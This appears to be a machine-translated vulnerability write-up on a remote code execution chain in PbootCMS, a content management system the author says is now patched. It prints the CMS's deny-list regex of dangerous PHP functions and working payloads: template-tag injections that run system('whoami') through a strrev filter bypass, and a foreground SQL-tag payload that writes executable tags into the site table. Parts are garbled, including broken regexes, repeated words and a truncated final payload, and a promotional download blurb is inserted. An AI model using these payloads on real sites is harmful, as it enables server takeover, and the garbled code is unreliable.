preface

This article documents the mining process for the foreground RCE. Since the CMS was fixed a few days ago, the mining process will be written

Moving on to the code, the first goal is again to parse the block of code for the if tag, and look at the three re’s

/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?) \{\/pboot:if\}/ /([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)? \(/i /(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_conten ts)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_o pen)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(ar ray_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/iCopy the code

Compared to the previous version, the third re is much more (([\w\s.]+))We assume that the developer wants to disallow the parentheses in the conditional section of the if tag, but after testing the XXX (” XXX “) form, we can ignore the re without affecting our code execution. Now suppose we can directly edit the template to investigate how to execute the code with the goal of executing the system function.

To bypass the regular verification of the system, you can bypass it in the following way

strrev('metsys')('whoami');
Copy the code

So it’s easy to think of using the following payload test

{pboot:if(1) strrev('metsys')('whoami'); //)}y7m01i{/pboot:if}Copy the code

After testing it, we find that it can’t be executed. Since we can’t bypass the second re, we can simply print out how the program is performing security checks

As you can see here, strrev is a defined function, so the statement is intercepted, so let’s try adding some characters before strrev to see what happens

{pboot:if(1) xxx strrev('metsys')('whoami'); //)}y7m01i{/pboot:if}Copy the code

Eval executes what we typed. However, the current content execution fails. The next goal is clear: we need to find a replacement for XXX so that the eval execution does not fail. I searched and found this

So let’s test that out

Payload = payload = payload = payload

{pboot:if(1) echo strrev('metsys')('whoami'); //)}y7m01i{/pboot:if}Copy the code

The system function was successfully executed, and after some thought and testing, it was actually possible to use annotations as follows

{pboot:if(1) /*y*/ strrev('metsys')('whoami'); //)}y7m01i{/pboot:if}Copy the code

We need to find a user-controlled point to parse the if tag. In the reference above, we can easily parse the if tag we typed in the foreground search function, and the substitution for pboot@if can be used

{pboot{user:password}:if
Copy the code

I am a network security worker, like security, love security, in addition, I sorted out some penetration tests, learning video 300PDF for everyone to learn (the above is only part of the), interested can download and read,

[Download here]

This form to bypass, but in this version removed decode_string function, the label when parsing is encoded, single and double quotation marks to parse, however, as we now know from the previous analysis of the use way but you need to use double quotation marks to bypass the second regular check, so far at the front desk search we temporarily can’t use, So we need to look at whether there are other ways to use it that are compatible with what we know.

I was looking through the CMS update log when I found this descriptionThe program added a new tag to parse SQL, which meant that we might use the search function in the foreground to execute the SQL statement we wanted. At this time, a chain of use initially came to my mind. We know that in previous versions can be used in the background configuration in our label statements, the final statement is stored in the database, if we can use the front desk search function is executing SQL statements, insert tags in the database, you can cross the background configuration function RCE directly, so we are currently facing two questions need to figure out;

1. Which field of the table should the label be in

2. How can the foreground search function execute our SQL statement

First of all, the first problem is easy to solve. In the previous version, we write labels in the tail of the site information, corresponding to the copyright field in the AY_site table, so we write labels in the initial statement

Update ay_site set copyright= (tagged16Base, avoid quotes) where id =1;
Copy the code

Next, let’s look at the code that parses the SQL tags

 // Parse custom SQL loops
    public function parserSqlListLabel($content)
    {
        $pattern = '/\{pboot:sql(\s+[^}]+)? \}([\s\S]*?) \{\/pboot:sql\}/';
        $pattern2 = '/\[sql:([\w]+)(\s+[^]]+)? \] / ';

        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);

            for ($i = 0; $i < $count; $i ++) {
                // Get adjustment parameters

                $params = $this->parserParam($matches[1][$i]);
                if (! self::checkLabelLevel($params)) {

                    $content = str_replace($matches[0][$i], ' ', $content);
                    continue;
                }

                $num = 1000; // The maximum number of entries is 1000
                $sql = ' ';
                foreach ($params as $key => $value) {
                    switch ($key) {
                        case 'num':
                            $num = $value;
                            break;
                        case 'sql':
                            $sql = $value;
                            break; }}// Special tables do not allow output
                if (preg_match('/ay_user|ay_member/i', $sql)) {
                    $content = str_replace($matches[0][$i], ' ', $content);
                    continue;
                }

                // Determine if there is a limit to the number of entries
                if ($num && ! preg_match('/limit/i', $sql)) {
                    $sql .= " limit " . $num;
                }

                // Read data

                if (! $data = $this->model->all($sql)) {
                    $content = str_replace($matches[0][$i], ' ', $content);
                    continue;
                }

                // Match to internal label
                if (preg_match_all($pattern2, $matches[2][$i], $matches2)) {
                    $count2 = count($matches2[0]); // The number of content tags in the loop
                } else {
                    $count2 = 0;
                }

                $out_html = ' ';

                $pagenum = defined('PAGE')? PAGE :1;
                $key = ($pagenum - 1) * $num + 1;
                foreach ($data as $value) { // Loop by the number of query data items
                    $one_html = $matches[2][$i];
                    for ($j = 0; $j < $count2; $j ++) { // Loop to replace data
                        $params = $this->parserParam($matches2[2][$j]);
                        switch ($matches2[1][$j]) {
                            case 'n':
                                $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key) - 1, $one_html);
                                break;
                            case 'i':
                                $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key), $one_html);
                                break;
                            default:
                                if (isset($value->{$matches2[1][$j]})) {
                                    $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $value->{$matches2[1][$j]}), $one_html);
                                }
                        }
                    }
                    $key ++;
                    $out_html .= $one_html;
                }
                $content = str_replace($matches[0][$i], $out_html, $content); }}return $content;
    }
Copy the code

One of them has a security filterThe SQL statement does not allow the operation of the ay_user and ay_member tables, but does not affect the writing of labels to the database. Moving on to the code, the point is
t h i s > p a r s e r P a r a m ( this->parserParam(
matches[1][$i]); .

Follow up the methodLet’s print the parsed content and test it with the following tags

{pboot:sql sql=update ay_site set copyright= 0x68656c6c6f where id = 1; #}11{/pboot:sql}
Copy the code

The statement was not correctly parsed out, a close look at the source code should be the split statement of the re match, try to replace the blank with a comment

{pboot:sql sql=update/**/ay_site/**/set/**/copyright=/**/0x68656c6c6f/**/where/**/id/ * * / = / * * /1; #}11{/pboot:s
Copy the code

Successfully parse to the statement we want, go to the foreground to execute

The contents of the database were successfully updated, replacing Hello with our label statement

{pboot:sql sql=update//ay_site//set//copyright=//0x67b70626f6f747b757365723a70617373776f72647d3a6966283129656368

Then go to the home page

conclusion

The main reason for this vulnerability is that the program adds new function points, and the function points do not carry out complete security defense, leading to the direct execution of SQL statements in the foreground, and then write executable labels into the database, parsing and executing commands in the foreground; It also reminds us that we can pay more attention to some new features when we dig bugs at ordinary times, and fully understand the existing bugs in the past. The combination of blows often has a surprise effect.